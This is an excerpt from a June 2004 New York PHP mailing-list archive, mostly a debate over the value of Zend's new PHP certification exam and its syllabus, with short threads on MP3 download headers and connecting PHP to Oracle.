mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > From jeffknight at mac.com Fri Jun 18 14:14:06 2004 From: jeffknight at mac.com (putamare) Date: Fri, 18 Jun 2004 14:14:06 -0400 Subject: [nycphp-talk] PHP and Flash In-Reply-To: <004d01c4555f$8be6a860$1302a8c0@Vaio> References: <20040618131220.84919.qmail@web12206.mail.yahoo.com> <004d01c4555f$8be6a860$1302a8c0@Vaio> Message-ID: <499173C7-C153-11D8-BCAE-000393B9FB36@mac.com> On Jun 18, 2004, at 2:10 PM, Shawn Lawyer wrote: > If you have the money and time, oh and (I'm gonna duck now) Java > knowledge. > Macromedia Flex has become my choice for authoring these types of > applicatons. Run away screaming has always worked for me... jeff.knight not junkmail at nyphp.org From kushner at gmail.com Fri Jun 18 14:17:30 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 18 Jun 2004 14:17:30 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <7699-57408@sneakemail.com> References: <40D2E3F2.7090109@chxo.com> <9201-16601@sneakemail.com> <7ac626ed04061810416da5d731@mail.gmail.com> <7699-57408@sneakemail.com> Message-ID: <7ac626ed0406181117674debb5@mail.gmail.com> > What I mean to say is who is the "many" that have approached Zend about > offering such an industry standard? What I am looking for is the > motivation beyond the establishment of a standard and a certification. I > understand many of the motivation(s) behind M$ certification; I > understand the motivation behind the CCNE certification (although I am a > bit puzzled by the CNA one ;-) The "many" are Zend clients, PHP community members, PHP core developers, and the enterprise using PHP. I have spoken with many at conferences and expos and have seen a great interest in such a program. There are hundreds of small training centers in the US and Europe that teach PHP, they too would like a PHP Certification that could give credibility to their courses. An interesting thread: http://dotgeek.org/forums/viewtopic.php?t=3 -Daniel From kushner at gmail.com Fri Jun 18 14:24:37 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 18 Jun 2004 14:24:37 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <7699-57408@sneakemail.com> References: <40D2E3F2.7090109@chxo.com> <9201-16601@sneakemail.com> <7ac626ed04061810416da5d731@mail.gmail.com> <7699-57408@sneakemail.com> Message-ID: <7ac626ed0406181124330e5e09@mail.gmail.com> > What I mean to say is who is the "many" that have approached Zend about > offering such an industry standard? What I am looking for is the > motivation beyond the establishment of a standard and a certification. John, Just found another one for you :) http://www.phpfreaks.com/articles/167/0.php - search for PHP Certification. -Daniel From tgales at tgaconnect.com Fri Jun 18 14:33:08 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 18 Jun 2004 14:33:08 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <187C253E-C150-11D8-825F-0003938BDF32@localnotion.com> Message-ID: <007401c45562$b43e1520$e98d3818@oberon1> Matthew Terenzio writes: > > > someone I would be happy to have a few drinks > > Somehow I think you are hanging in the right crowd. ; ) > You got that right. The NYPHP certification (for admission) process seems to me to pretty much adhere to the following pattern: Members retire to a nearby watering hole after a meeting. All in attendance have four or five drinks. A prospective member is questioned on his opinion about some aspect of PHP. If the member doesn't slur his words, he passes. If he or she manages to work in a funny story the person passes the 'oral test' with honors. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From jonbaer at jonbaer.net Fri Jun 18 13:14:40 2004 From: jonbaer at jonbaer.net (Jon Baer) Date: Fri, 18 Jun 2004 13:14:40 -0400 Subject: [nycphp-talk] header to force helper app for MP3 file In-Reply-To: References: Message-ID: <20040618171440.GA2110@jonbaer.net> You could try to force "Content-Disposition: attachement" to see if it has any affect (as it should). I think some other options might include playing around with browscap/phpsniff w/ http_accept and creating a test page. As far as I remember you cant get a list of helper apps that are associated with the client server side. If you can check the plugins that are enabled you can leave it to download + the client would normally decide on the helper app for that MIME type. - Jon On Fri, Jun 18, 2004 at 11:46:18AM -0400, Stephen Musgrave wrote: > > i want the user's helper application for mp3s to launch. if there isn't one > defined, they should be prompted to decide to choose one or download. -- pgp key: http://www.jonbaer.net/jonbaer.asc fingerprint: F438 A47E C45E 8B27 F68C 1F9B 41DB DB8B 9A0C AF47 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From shiflett at php.net Fri Jun 18 15:14:34 2004 From: shiflett at php.net (Chris Shiflett) Date: Fri, 18 Jun 2004 12:14:34 -0700 (PDT) Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618140259.GB14375@jonbaer.net> Message-ID: <20040618191434.91565.qmail@web52803.mail.yahoo.com> --- Jon Baer wrote: > There are alot of security areas where it just seems like certain things > should just "happen automatically" yet you cant dictate how someone > should be able to code/style it ... and nearly every book has a different > way to go about it ... > > > Here is one example - page 285, PHP Developer cookbook: > > It shows that EscapeShellCmd() should pretty much *always* be used > when forking a process to read from ... yet its not something built-in > nor shown in the example but is merely "stressed" as being important ... Well, that function is indeed built-in. As for there being best practices regarding security, there are. I've discussed such things in many places, and I can't recall a single person ever arguing with me. If my suggestions were the least bit controversial, I would expect to have to defend my statements more often. Also, most security-conscious people I know avoid shell commands at all costs. I always hate writing about command injection and such, because I really want to say, "don't do it." > The same goes for DB usage ... would someone writing tons of code w/ > mysql_query() be a "bad coder" when generic Pear::DB exists, yet plenty > of books really just jump right into the extension. I didnt see Pear > covered on the outline for the exam, so Im hoping the 'PHP and > database' section is generic since the cerification covers the "language" > itself. Rants lose a lot of their force when you're making guesses about what it is you're ranting about. The certification is on PHP, although I'm sure everyone would agree that there is a certain fundamental foundation you would want a PHP developer to possess regarding databases if you were hiring. Some generic database questions should be expected. Chris ===== Chris Shiflett - http://shiflett.org/ PHP Security - O'Reilly Coming Fall 2004 HTTP Developer's Handbook - Sams http://httphandbook.org/ PHP Community Site http://phpcommunity.org/ From stephen at musgrave.org Fri Jun 18 16:16:01 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Fri, 18 Jun 2004 16:16:01 -0400 Subject: [nycphp-talk] header to force helper app for MP3 file In-Reply-To: <20040618171440.GA2110@jonbaer.net> Message-ID: Ah, yes, that did it. Thanks! On 6/18/04 1:14 PM, "Jon Baer" wrote: > You could try to force "Content-Disposition: attachement" to see if it has > any affect (as it should). > > I think some other options might include playing around with > browscap/phpsniff w/ http_accept and creating a test page. > > As far as I remember you cant get a list of helper apps that are > associated with the client server side. If you can check the plugins that > are enabled you can leave it to download + the client would normally > decide on the helper app for that MIME type. > > - Jon > > On Fri, Jun 18, 2004 at 11:46:18AM -0400, Stephen Musgrave wrote: >> >> i want the user's helper application for mp3s to launch. if there isn't one >> defined, they should be prompted to decide to choose one or download. From sm11szw02 at sneakemail.com Fri Jun 18 16:19:28 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 18 Jun 2004 16:19:28 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <7ac626ed0406181117674debb5@mail.gmail.com> References: <40D2E3F2.7090109@chxo.com> <9201-16601@sneakemail.com> <7ac626ed04061810416da5d731@mail.gmail.com> <7699-57408@sneakemail.com> <7ac626ed0406181117674debb5@mail.gmail.com> Message-ID: <21102-00558@sneakemail.com> Daniel Kushner kushner-at-gmail.com |nyphp 04/2004| wrote: >>What I mean to say is who is the "many" that have approached Zend about >>offering such an industry standard? What I am looking for is the >>motivation beyond the establishment of a standard and a certification. I >>understand many of the motivation(s) behind M$ certification; I >>understand the motivation behind the CCNE certification (although I am a >>bit puzzled by the CNA one ;-) >> >> > >The "many" are Zend clients, PHP community members, PHP core >developers, and the enterprise using PHP. I have spoken with many at >conferences and expos and have seen a great interest in such a >program. There are hundreds of small training centers in the US and >Europe that teach PHP, they too would like a PHP Certification that >could give credibility to their courses. > >An interesting thread: >http://dotgeek.org/forums/viewtopic.php?t=3 > >-Daniel >_______________________________________________ > Thanks. I read through them. I have always felt it was a manager's obligation to be knowledgable enough to screen a candidate on basic mastery - or find someone who can. What does a certification program do aside from providing an avenue for structured training, a revenue stream for an educational institution, or a channel into which a vendor can sell product? (not that those are bad things, but they are not necessarily in the best interests of the php programmer). I suspect I would consider it a good thing if it was a high hurdle celebration of true mastery, but not if it was just another pay-your-dues-and-get-your-certificate program. From tgales at tgaconnect.com Fri Jun 18 17:22:14 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 18 Jun 2004 17:22:14 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040618191434.91565.qmail@web52803.mail.yahoo.com> Message-ID: <008301c4557a$53e0f7c0$e98d3818@oberon1> Chris Shiflett writes: > ...The certification is > on PHP, although I'm sure everyone would agree that there is > a certain fundamental foundation you would want a PHP > developer to possess regarding databases if you were hiring. > Some generic database questions should be expected. > Yeah, everyone would expect a 'Certified' PHP developer to have some knowledge of database fundamentals. But then again you would expect any developer to have at least a passing acquaintance with a database. I believe industry figures put the number at eighty-something (maybe 87) percent of all applications use a database. Now if I were a project leader on a PHP project using MySQL, and I had two candidates for a position on my team -- one who had used MySQL for two years with PHP, and another candidate who had never made even one mysql_connect with PHP, but had 3 years experience as junior data architect helping design a Sybase database -- I don't think it would take me long to decide. The beauty of PHP is that it is very transparent. I could, almost undoubtedly, more easily show the Sybase guy how to use PHP to take advantage of what he has picked up along the way about referential integrity, than to try and work with the PHP guy (assuming the PHP guy's database experience consists of just doing many different variations of sql selects -- which may be fairly likely in my view). I have a problem with PHP certification because, in my mind, there's no such thing -- PHP doesn't operate in a vacuum. It's RPC, database integrity, XML, interprocess communication, etc. -- those are the 'sticky wickets' -- not PHP. If someone knows all that stuff, then I think he would be more correctly termed a certified web developer -- not a certified PHP developer. Maybe you could certify someone in a reduced skill set space like PHP running together with Apache -- but there you'd be getting closer to the AMP style certification and away from the ZEND idea of certification. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From kushner at gmail.com Fri Jun 18 18:22:46 2004 From: kushner at gmail.com (Daniel Kushner) Date: Fri, 18 Jun 2004 18:22:46 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <008301c4557a$53e0f7c0$e98d3818@oberon1> References: <008301c4557a$53e0f7c0$e98d3818@oberon1> Message-ID: <7ac626ed0406181522510423a1@mail.gmail.com> On Fri, 18 Jun 2004 17:22:14 -0400, Tim Gales wrote: > > > Maybe you could certify someone in a reduced > skill set space like PHP running together with Apache -- > but there you'd be getting closer to the AMP style > certification and away from the ZEND idea of certification. Tim, This is a very interesting thread and it is great to hear all the different ideas and thoughts on certification in general and PHP in specific. I especially liked Jon's "failing them proves to be quite educational believe it or not" :) I would like to respond to the last three word in your last paragraph: "ZEND idea of certification". Although this is definitely Zend's idea of certification, it is also the idea of a very respected group that helped make PHP what it is today whether they be core developers, library developers, book authors, educators, or evangelists (list in no particular order). These people have worked very hard and have done an amazing job. IMHO their creation is the best tool available today that can demonstrate expert proficiency in PHP. Of course being certified isn't a substitute for a job interview, a personally check, or even another written PHP test. It is another tool to help the enterprise in the hiring process and to help the PHP community in showing their expertise. It also isn't a one-size-fits-all solution for every PHP developer, but most I am sure feel that is something the PHP community needs - now! Best, Daniel From sm11szw02 at sneakemail.com Fri Jun 18 19:47:23 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Fri, 18 Jun 2004 19:47:23 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <7ac626ed0406181522510423a1@mail.gmail.com> References: <008301c4557a$53e0f7c0$e98d3818@oberon1> <7ac626ed0406181522510423a1@mail.gmail.com> Message-ID: <13475-31140@sneakemail.com> Daniel Kushner kushner-at-gmail.com |nyphp 04/2004| wrote: >It also isn't a >one-size-fits-all solution for every PHP developer, but most I am sure >feel that is something the PHP community needs - now! > >Best, >Daniel > conviction = = good buuuuuuut... I'm not sure how much the content of this thread truthfully agrees with it. Chris said "there is a certain fundamental foundation you would want a PHP developer to possess regarding databases if you were hiring. Some generic database questions should be expected." and I think that's a goodpoint, that could use some clarification. Im my view a question about mysql_connect is unworthy on a PHP certification test. A question on PHP security, that uses a mysql_connect example, now that's a good question! Ditto for what Chris calls "generic database questions". As Tim highlighted, PHP doesn't operate in a vacuum. If there's one consistent criticism I see in the world about PHP, it's that PHP programmers try to use PHP to do things that are best done with other partners in the server or application space. Now an evangelist can argue how PHP can rightfully be extended to do those things, but do we want to breed developers to do things the PHP way even when they are not best practice (except in the PHP evangelist world?). I recognize that is a very tough question to answer. I also recognize that as PHP matures, it extends into those fringe areas and can even take them over. Kudos for PHP development, but I don't follow PHP evangelism blindly for risk of losing the practical expertise that I believe made my PHP work so important. In many cases "PHP is the best choice" is very true. Around the fringe, I feel it should be "I choose to do that in PHP" and the choice should be based on wisdom; it must be aware of the pros and cons. A certification process that operates in a vacuum will do everything in PHP and test PHP knowledge and skills (kinda like the M$ certification). A real-world certification needs to address the pros and cons, foster an awareness of the interactions with partner and sister systems, and test competance on working in the mixed mode environment (working in it using PHP, for a PHP certification). That is what RHCE *ws* (before RH8 imho) and that's what CCNE was and still is imho. I have some killer "PHPand MySQL" books, but I don't have any good PHP books that do more than gloss over the database functionality in PHP, probably because the editors made the same assumptions (it's not a book about databases). So I believe it is short sighted to say it's a PHP certification and not a db certification as a way to justify incorporating coverage of php database commands and not databases in depth. If it's a PHP certification test, it may be very true that you need to know alot about databases in order to pass a worthwhile PHP certification exam. Maybe for non-database PHP'ers, that will be the part of the test where they get 55% wrong and still get an 80% grade for the overall PHP certification test and pass. I am reminded of the Profesional Engineering Society exams. 8 hours of grueling engineering exams to get a Professional Engineering "License". Even if you're a Civil Engineer with 15 years of experience building bridges and skyscrapers, you will have a section on digital circuit design theory, or perhaps chemical engineering. Go ahead, get them all wrong, but then you better make sure your Civil Engineering part is perfect if you want to pass the exam. It just a fact of life that you will have to know something about these partner areas to be competent in the real world. Shouldn't "certification" be the proof of that competence? My $0.03.. thanks for the very interesting and thought-provoking thread. From tgales at tgaconnect.com Fri Jun 18 20:19:36 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Fri, 18 Jun 2004 20:19:36 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <7ac626ed0406181522510423a1@mail.gmail.com> Message-ID: <00b901c45593$1b2e9e50$e98d3818@oberon1> Daniel Kushner writes: > On Fri, 18 Jun 2004 17:22:14 -0400, Tim Gales > wrote: > > > > > Maybe you could certify someone in a reduced > > skill set space like PHP running together with Apache -- > > but there you'd be getting closer to the AMP style > certification and > > away from the ZEND idea of certification. > ... > I would like to respond to the last three word in your last > paragraph: "ZEND idea of certification". Although this is > definitely Zend's idea of certification, it is also the idea > of a very respected group that helped make PHP what it is > today whether they be core developers, library developers, > book authors, educators, or evangelists (list in no > particular order). These people have worked very hard and > have done an amazing job. IMHO their creation is the best > tool available today that can demonstrate expert proficiency in PHP. I would agree with you that is not solely Zend's idea of certification -- there are indeed many people who have done a *lot* for PHP who agree there should be some sort of standard set for being a PHP programmer. But what I am saying is that I find it hard to put much stock in the value of a certification for a simple language which can be learned in an afternoon -- it doesn't make any sense. The language is great. I love it. But it is just a tool. Take for example public accountants. They are probably the most well known case of being certified to do something (at least for U.S businessmen who would hire an account or an accounting firm)-- CPA stands for Certified Public Accountant. It means that the accountant is certified to have a knowledge of generally accepted accounting procedures. Off the top of my head I would guess more than ninety percent of CPA's use Microsoft Excel as their spreadsheet of choice. Further, almost without exception, all Excel users know much of the little language that drives Excel spreadsheets In that little language you have all the familiar building blocks of a programming language: variables, built-in functions, formulas (which are somewhat comparable to procedures), operators (with precedence that can be overridden by the use of parenthesis), libraries of routines, conditional execution constructs such as: if - else if, odbc connections -- even templates to help separate presentation from content (the analogy here to php is almost scary). I have never seen an accountant's business card that says: 'Microsoft Excel Certified' Now would you have the web development community believe that it would be of value to have something like: 'ZEND Certified in PHP' (or something to that effect) on *their* business cards? Further, you make it sound like anybody who is anybody in the PHP world is behind this initiative. Don't you admit that are in fact many 'somebodies' in the PHP world who are rather noticeably silent on this thing? Some proponents for Perl certification described the vote at an OSCON meeting as being 100 to 7 in favor of certification. The reality is that half of the people to whom the vote was put were 'noticeably silent' in that they abstained from voting. http://teachmeperl.com/perlcert/OSCON_vote.html Of course this 'noticeable silence' (in both situations) is open to interpretation. T. Gales & Associates 'Helping People Connect with Technology' http://www.tgaconnect.com From nyphp at enobrev.com Fri Jun 18 22:53:06 2004 From: nyphp at enobrev.com (Mark Armendariz) Date: Fri, 18 Jun 2004 22:53:06 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <00b901c45593$1b2e9e50$e98d3818@oberon1> Message-ID: <20040619025314.9122DA85EA@virtu.nyphp.org> Some related reading re: certs (from /.) http://www.cio.com/archive/061504/itwork.html I'm telling you, a few drinks is all it takes... Mark From lists at prusak.com Sat Jun 19 01:26:37 2004 From: lists at prusak.com (op spam) Date: Sat, 19 Jun 2004 01:26:37 -0400 Subject: [nycphp-talk] Zend PHP Certification In-Reply-To: <20040619025314.9122DA85EA@virtu.nyphp.org> References: <20040619025314.9122DA85EA@virtu.nyphp.org> Message-ID: <40D3CE8D.5080608@prusak.com> Very interesting thread. I thought I'd throw some more gas on the fire. First of all, there is no "correct" answer to the question of what value does passing the test have, At the end of the day, a PHP certification (from Zend) is just that - a PHP certification from Zend. It's a piece of paper that says you passed a specific score on a specific test. I don't see how this is any different from any other test based certification. Sun has Java certification. MS has theirs. I'd go as far as saying that even an academic degree is nothing more than a piece of paper. What value does a computer science degree have? As the saying goes - beauty is in the eyes of the beholder. Ultimately, the value of passing this test will be decided by the people who hire you. For the sake of simplicity, I'm assuming the main reason someone would take the test in the first place is career related. To quote Daniel: "It is another tool to help the enterprise in the hiring process and to help the PHP community in showing their expertise". I've interviewed quite a few people and unfortunately, terms like "extensive knowledge of" or "in depth experience with" are loosely defined are not measurable. While looking over a resume, when someone says they have any knowledge of any technology, I always take it with a grain of salt. If they say they have some certification, at least thats well defined. How that certification effect my decision making is up to me. Secondly, I think Zend is walking a very fine line regarding what subject matter to include. Based on the "What will be tested" in Daniel's original email, it's obvious that the test not only covers the PHP language itself, but also many aspects related to programming in general and Internet related programming in particular. For example, I don't think it's fair to ask about "The UNIX epoch and the dangers of UNIX dates" on a test that is supposed to measure PHP expertise. If the test was called "Web based programming using PHP on a Unix box" then sure, but it's not. I have a few more comments on the subject, but it's late so I'll continue this in another email. Hope my two cents were helpful. Ophir >From hans not junk at nyphp.com Sat Jun 19 17:16:38 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 86328A85F0 for ; Sat, 19 Jun 2004 17:16:38 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Zend PHP Certification Date: Sat, 19 Jun 2004 14:16:36 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F870297965E at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Zend PHP Certification Thread-Index: AcRUyG3ZcXh8FD9XRoeJlV5Qj4OwgABd6j2w From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 19 Jun 2004 21:16:39 -0000 > NYPHP List: > This email was sent out to selected Zend clients. Due to requests from > individuals from this group I would like to extend the offer to NYPHP. > Please don't hesitate to contact me at daniel at zend.com with any > questions you many have. It's good to see Zend creating a PHP certification, and even better to have had such a thought provoking thread to follow. We want to ensure that the NYPHP-Talk list keeps to this level of quality and discussion. I would like to remind the list, however, that commercial posts should not be made without prior approval from NYPHP. If individuals or companies are unsure whether their post to NYPHP-Talk could be commercial in intent, for example offering a product or service for purchase, be sure to contact contact at nyphp.org beforehand. Thanks all, --- Hans Zaunere President New York PHP http://nyphp.org >=20 > Best, > Daniel >=20 >=20 > Dear PHPer, >=20 > As the PHP company, Zend has been approached by many asking it to > establish an industry standard that recognizes PHP expertise. In order > to do that Zend has partnered with PHP experts worldwide to create the > Zend PHP certification exam. The Zend PHP Education Advisory Board has > specified a curriculum essential to demonstrate expert proficiency in > PHP. >=20 >=20 > Benefits of Becoming a Zend Certified PHP Programmer=20 > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D > In today's competitive market, it's more difficult than ever to stand > out from the competition. The Zend PHP Certification credential offers > a variety of benefits: > - Differentiate yourself from competitors when looking for a new job > or at your annual salary review > - Get your resume noticed > - Gain recognition from your employer > - Have your profile displayed in Zend's "Yellow Pages for PHP=20 > Professionals" >=20 >=20 > Who's on the Zend PHP Education Advisory Board? > = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Andi Gutmans > Chris Shiflett > Damien Seguy > Daniel Kushner > David Sklar > Derick Rethans > George Schlossnagle > John Coggeshall > Marco Tabini > Marcus Boerger > Martin Jansen > Zeev Suraski >=20 > As with any certification of this magnitude, the test=20 > questions need to be > checked for clarity and performance by means of a beta exam.=20 > The beta exam > consists of up to 110 questions instead of just 70 that will=20 > make it to the > final exam. Those who take the beta will qualify for the Zend PHP > Certification once we know which questions will be in the=20 > final exam and if > enough questions were answered correctly - the passing score will be > determined after the beta analysis. >=20 > I would like to invite you to take the beta exam available on=20 > June 21st > through June 30th. The cost of the exam is only $80 as=20 > opposed to the final > examination fee of $200. >=20 > Beta exams are limited so I urge you to sign up as soon as possible to > reserve a place at a test center near you.=20 >=20 > Visit http://www.vue.com/zend/ to register for the beta. >=20 > What will be tested? > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Chapter one - the basics of PHP > This chapter will cover basic information about the HP and its role in > web development. All the basic elements of the language, such as > definitions, conventions, uses, language elements and so one will be > covered. >=20 > . Introducing PHP > . PHP and HTML > . PHP and XML > . PHP and databases > . Creating a PHP page > . Using PHP tags > . Language basics > . Constants and variables > . Identifiers > . Operators > . Conditional structures > . Iteration and loops > . Functions > . Variable functions > . Including files >=20 > Chapter two - object-oriented PHP > This chapter provides information about OOP in PHP. >=20 > . The basics of object oriented programming > . Classes > . Instantiation and constructors > . Attributes > . Accessing objects, methods and attributes > . Implementing inheritance >=20 > Chapter three - PHP and the web > This chapter will provide a broader introduction to the way PHP > interacts with the web. For the most part, this chapter will deal > with the superarrays and it's sessions. >=20 > . Creating HTML content using PHP > . Client side and server side embedding PHP in HTML > . Creating forms > . GET and POST: accessing form variables > . Cookies > . The superarrays: accessing global information > . Session management >=20 > Chapter four - arrays > This chapter introduces arrays and their use in PHP. >=20 > . Variable collections: introducing arrays > . Numerically indexed and associative arrays > . Multidimensional arrays > . Sorting > . Reordering > . Serializing arrays > . Manipulating arrays >=20 > Chapter five - strings and regular expressions This chapter deals with > string manipulation, both using traditional functions and through > regular expressions. >=20 > . Formatting strings > . Comparing strings > . Modifying string contents > . Regular expressions > . Extract in data from strings > . Joining and splitting strings >=20 > Chapter six - file manipulation > The details of manipulating files and interacting with the filesystem > are discussed in this chapter. >=20 > . Opening a file > . Writing to a file > . Reading from a file > . Closing a file > . In two rounds with the file system > . File locking >=20 > Chapter seven - managing dates and time > This chapter explores the date and time functions built into PHP, with > a particular eye to database interaction and the limitations of the > Unix time tracking system. >=20 > . Dates in PHP > . Getting the current date > . Converting a strained into a date > . More date functions > . Date calculations > . Dates and databases > . Using the calendar functions > . The UNIX epoch and the dangers of UNIX dates >=20 > Chapter eight - managing e-mail > This chapter illustrates the functionality provided by PHP for sending > e-mail messages. >=20 > . Sending e-mail > . Managing the headers > . Formatting an e-mail message > . Attaching a file to a message >=20 > Chapter nine - PHP and databases > This chapter deals with the interaction between PHP and=20 > database servers. > Because the exam is strictly limited to PHP, no particular DBMS is > discussed-rather, generic database techniques and SQL syntax are > discussed. >=20 > . When to use a database > . Types of databases supported by PHP > . Inserting data > . Extracting data > . Joining data >=20 > Chapter ten - stream and network programming This chapter introduces > concepts associated with stream and network programming in PHP. >=20 > . Using file wrappers > . Connecting to a remote host using sockets > . Blocking and non-blocking calls > . Creating and using streams >=20 > Chapter eleven - security > This chapter examines some security issues traditionally related to > PHP programming. >=20 > . Trusted and untrusted input > . Managing authentication > . Escaping data for database and shell programming > . Validating input > . Preventing XSS attacks >=20 > Chapter twelve - Debugging and Performance Management This chapter > looks at some of the debugging and performance management available > to PHP developers. >=20 > . Common programming mistakes > . Programming logic > . Creating good code > . Avoiding bugs > . Avoiding performance pitfalls > . Troubleshooting performance bottlenecks >=20 >=20 >=20 > Please don't hesitate to contact me with any questions you may have. >=20 > Yours sincerely, > Daniel Kushner > ______________________________________ > Director of Training and Certification > Zend Technologies Ltd. >=20 > daniel at zend.com > http://www.zend.com > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk >=20 >=20 >From hans not junk at nyphp.com Sat Jun 19 17:21:14 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id 2EB1EA85F0 for ; Sat, 19 Jun 2004 17:21:14 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] PHP, ODBC, ORACLE Date: Sat, 19 Jun 2004 14:21:11 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F870297965F at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] PHP, ODBC, ORACLE Thread-Index: AcRVPk71sJWrixxYR569lxc/mOf2GwBBKvTQ From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 19 Jun 2004 21:21:14 -0000 > Two questions for an APM solution: >=20 > 1. Can ODBC_CONNECT be used to go against an oracle database?=20 > If yes, what > would be the essential pieces? I don't believe so. From: http://us2.php.net/manual/en/ref.uodbc.php "The following databases are supported by the Unified ODBC functions: Adabas D, IBM DB2, iODBC, Solid, and Sybase SQL Anywhere." > 2. What would be the syntax for oracle connect statements=20 > (plz point me to a > ref)-from connect to select? Not 100% here either. But why not use OCI8 and connect to Oracle directly? H >From hans not junk at nyphp.com Sat Jun 19 17:49:48 2004 Return-Path: Received: from ehost011-1.intermedia.net (ehost011-1.intermedia.net [64.78.21.3]) by virtu.nyphp.org (Postfix) with ESMTP id D4766A85F0 for ; Sat, 19 Jun 2004 17:49:47 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] CLEW Date: Sat, 19 Jun 2004 14:49:45 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702979661 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] CLEW Thread-Index: AcRVMkUlVjHlh2ZfQoaic3DOzdz06wAAX7VwAETDlzA= From: "Hans Zaunere" To: "NYPHP Talk" X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 19 Jun 2004 21:49:48 -0000 > Another Hans. What are the odds? Pretty low... at least in this country :) It's actually the third Hans to come around NYPHP, so I'm thinking about playing the lottery. > Thank you both for the information. After I get a couple=20 > hours of shuteye, I'm in. There's a lot to do and we're happy to have you help. The other posts talked about how to initially get started which is great. NYCBUG (http://nycbug.org) will be the first to pilot clew as the only application behind their web page. Very exciting. The timeline is in weeks, rather than months, so there is a big push as Snyder mentioned. Thanks for the help Mark. Looking forward to it, --- Hans Zaunere President New York PHP http://nyphp.org From tgales at tgaconnect.com Sat Jun 19 20:19:54 2004 From: tgales at tgaconnect.com (Tim Gales) Date: Sat, 19 Jun 2004 20:19:54 -0400 Subject: [nycphp-talk] PHP, ODBC, ORACLE In-Reply-To: <41EE526EC2D3C74286415780D3BA9F870297965F@ehost011-1.exch011.intermedia.net> Message-ID: <000e01c4565c$5052f350$e98d3818@oberon1> Hans Zaunere writes: (in response to) > > > > 1. Can ODBC_CONNECT be used to go against an oracle database? If > > yes, what would be the essential pieces? > > I don't believe so. From: > > http://us2.php.net/manual/en/ref.uodbc.php > > "The following databases are supported by the Unified ODBC > functions: Adabas D, IBM DB2, iODBC, Solid, and Sybase SQL Anywhere." > > > 2. What would be the syntax for oracle connect statements (plz point > > me to a ref)-from connect to select? > > Not 100% here either. But why not use OCI8 and connect to > Oracle directly? > Yes, unless you really have some very compelling reason, you should try and connect to Oracle in its 'native tongue'. The 'unified ODBC' functions are something different than ODBC. In the manual it says: "several databases that have borrowed the semantics of 